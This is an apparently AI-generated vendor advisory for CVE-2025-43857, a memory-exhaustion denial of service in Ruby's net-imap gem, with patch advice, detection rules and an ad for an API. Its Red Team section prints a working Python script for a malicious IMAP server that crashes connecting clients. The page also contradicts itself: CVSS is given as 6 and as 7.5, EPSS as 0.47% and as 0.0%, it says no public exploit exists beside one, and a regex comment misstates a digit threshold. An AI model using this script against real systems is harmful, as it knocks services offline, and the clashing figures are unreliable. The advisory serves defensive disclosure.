☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6 🐛 CWE-400
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-43857

CVE-2025-43857 Denial of Service in Ruby
📅 PUBLISHED: 2025-04-28 16:02 UTC 🔄 UPDATED: 2026-09-23 20:28 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: LIKELY — 2 independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.47%
👁️
0.47% probability
11.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
6.0
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-43857 is a denial-of-service (DoS) vulnerability in the Ruby net-imap library, which implements the IMAP client protocol. The flaw allows a malicious or compromised IMAP server to cause memory exhaustion on the client by sending a crafted "literal" byte count in a server response. The client’s receiver thread automatically reads this count and allocates memory accordingly, without any upper bound validation. This can lead to uncontrolled memory consumption, crashing the client application or exhausting system resources.

The vulnerability affects all versions of net-imap prior to 0.5.7, 0.4.20, 0.3.9, and 0.2.5. It is particularly dangerous in scenarios where the client connects to untrusted or insecure IMAP servers, such as user-supplied hostnames. The CVSS score is 7.5 (High) due to the low attack complexity and network-based vector, though the impact is limited to availability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in the Ruby net-imap gem, a core library for IMAP client functionality. It is distributed via RubyGems and is commonly used in Ruby applications that interact with email servers. The supply chain risk is moderate: while the gem is widely used, exploitation requires a malicious server, which is less common in typical enterprise environments. However, applications that allow users to specify IMAP server addresses (e.g., email clients, monitoring tools) are at higher risk. The patch is available via gem update, and no known public exploits exist.

CVSS Breakdown & Threat Level

  • CVSS Score: 7.5 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely over the network.
  • Attack Complexity: Low (AC:L) – No special conditions or complex steps are required.
  • Privileges Required: None (PR:N) – The attacker does not need any authentication.
  • User Interaction: None (UI:N) – The victim does not need to perform any action beyond connecting to the malicious server.
  • Scope: Unchanged (S:U) – The vulnerability does not affect other components.
  • Confidentiality Impact: None (C:N) – No data is exposed.
  • Integrity Impact: None (I:N) – No data is modified.
  • Availability Impact: High (A:H) – Memory exhaustion leads to denial of service.

Threat Level: High. While no public exploits exist, the vulnerability is easy to trigger and can cause significant disruption. The EPSS score is 0.0%, indicating low exploitation likelihood currently, but this may change as awareness increases.

Deep Dive & Mechanics

The net-imap library implements the IMAP protocol as defined in RFC 3501. In IMAP, server responses can include "literals" – data blocks prefixed with a byte count in curly braces (e.g., {1024}). The client is expected to read exactly that many bytes. The vulnerability lies in the response reader: when a literal byte count is received, the library immediately allocates a string of that size in memory, without any validation or upper bound.

Root Cause: In the receiver_thread of Net::IMAP, the method read_literal is called when a literal is encountered. This method reads the byte count and then allocates a buffer of that size using String.new(capacity: count). If the server sends an extremely large count (e.g., {999999999}), the client will attempt to allocate that much memory, leading to memory exhaustion and a crash.

Attack Flow:

  1. The client connects to an IMAP server (either legitimate but compromised, or malicious).
  2. The server sends a response containing a literal with an excessively large byte count.
  3. The client’s receiver thread reads the count and allocates memory for the literal.
  4. The allocation fails or consumes all available memory, causing the client process to crash or become unresponsive.

Affected Code Path:

  • lib/net/imap.rb (or lib/net/imap/response_reader.rb in newer versions)
  • The read_literal method or equivalent logic that parses literals.

Vulnerable vs. Patched Code

Vulnerable Code (simplified):

# In response_reader.rb (vulnerable)
def read_literal
  count = read_number  # e.g., 999999999
  @buffer = String.new(capacity: count)  # Allocates memory without check
  # ... read count bytes into buffer
end

Patched Code (simplified):

# In response_reader.rb (patched)
MAX_LITERAL_SIZE = 10_000_000  # Example limit

def read_literal
  count = read_number
  if count > MAX_LITERAL_SIZE
    raise Net::IMAP::Error, "Literal size exceeds maximum"
  end
  @buffer = String.new(capacity: count)
  # ... read count bytes into buffer
end

The patch introduces a maximum literal size check, preventing allocation of excessively large buffers. The exact limit may vary by version, but the principle is consistent.

Exploitation & Lab Setup

Red Team

Objective: Trigger memory exhaustion on a Ruby application using net-imap by simulating a malicious IMAP server.

Lab Setup:

  1. Environment: Two machines (or containers) – one running a vulnerable Ruby application (client), one running a malicious IMAP server.
  2. Tools: Ruby 3.x with net-imap gem < 0.5.7, Python or Ruby for the malicious server.

Malicious Server Script (Python):

import socket

def malicious_imap_server():
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind(('0.0.0.0', 143))
    server.listen(1)
    print("Listening on port 143...")
    conn, addr = server.accept()
    print(f"Connection from {addr}")
    # Send greeting
    conn.send(b"* OK IMAP4rev1 server ready\r\n")
    # Wait for client command (e.g., LOGIN)
    data = conn.recv(1024)
    print(f"Received: {data}")
    # Send response with huge literal
    conn.send(b"* 1 FETCH (BODY[] {999999999}\r\n")
    # Client will attempt to allocate 999MB and likely crash
    conn.close()

if __name__ == "__main__":
    malicious_imap_server()

Execution:

  1. Run the malicious server on the attacker machine.
  2. On the victim machine, run a Ruby script that connects to the attacker’s IP:
    require 'net/imap'
    imap = Net::IMAP.new('attacker_ip', port: 143, ssl: false)
    imap.login('user', 'pass')
    
  3. The client will crash with a memory allocation error.

Blue Team

Detection & Mitigation:

  1. Monitor Memory Usage: Set alerts for sudden spikes in memory consumption by Ruby processes.
  2. Network Monitoring: Detect IMAP responses with unusually large literal sizes (e.g., > 10MB).
  3. Application Logging: Log IMAP server responses and flag any that contain literals exceeding a threshold.
  4. Update Immediately: Patch net-imap to version 0.5.7 or later.
  5. Restrict Connections: Only allow connections to trusted IMAP servers. Use SSL/TLS to reduce risk of man-in-the-middle attacks.

Indicators of Compromise (IOCs)

  • Network: IMAP server responses containing literal byte counts greater than 10,000,000 (e.g., {999999999}).
  • Process: Ruby process consuming excessive memory (e.g., > 1GB) and crashing with NoMemoryError.
  • Logs: Application logs showing Net::IMAP::Error or NoMemoryError after receiving a literal.
  • File: Core dumps or heap dumps from Ruby processes.

Detection Engineering

YARA Rule

rule CVE_2025_43857_IMAP_Literal_DoS {
    meta:
        description = "Detects IMAP responses with excessively large literal byte counts"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-43857"
    strings:
        $literal_pattern = /{[0-9]{7,}}/  // Matches literals with 7+ digits (>= 10,000,000)
    condition:
        $literal_pattern
}

Sigma Rule

title: IMAP Literal DoS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects IMAP server responses with large literal byte counts indicative of CVE-2025-43857 exploitation
author: Valters IT
date: 2025/04/10
logsource:
    category: network
    product: suricata
detection:
    selection:
        app_proto: imap
        payload|contains: '{'
        payload|re: '\\{[0-9]{7,}\\}'
    condition: selection
falsepositives:
    - Legitimate large email attachments (rare)
level: high

Suricata Rule

alert tcp any any -> any 143 (msg:"CVE-2025-43857 IMAP Literal DoS Attempt"; flow:to_client; content:"|7b|"; distance:0; within:1; pcre:"/\\{[0-9]{7,}\\}/"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Patch: Update the net-imap gem to version 0.5.7, 0.4.20, 0.3.9, or 0.2.5 (depending on your Ruby version). Run:
    gem update net-imap
    
  2. Workaround: If patching is not possible, implement input validation in your application to limit literal sizes. For example, override the read_literal method or use a timeout.

Long-Term Measures:

  • Network Segmentation: Restrict IMAP client connections to trusted servers only.
  • Use SSL/TLS: Always connect to IMAP servers over SSL (port 993) to reduce the risk of man-in-the-middle attacks.
  • Monitor Dependencies: Regularly audit Ruby gems for vulnerabilities using tools like bundler-audit or snyk.
  • Resource Limits: Configure system resource limits (e.g., ulimit) to prevent a single process from exhausting all memory.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-43857/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.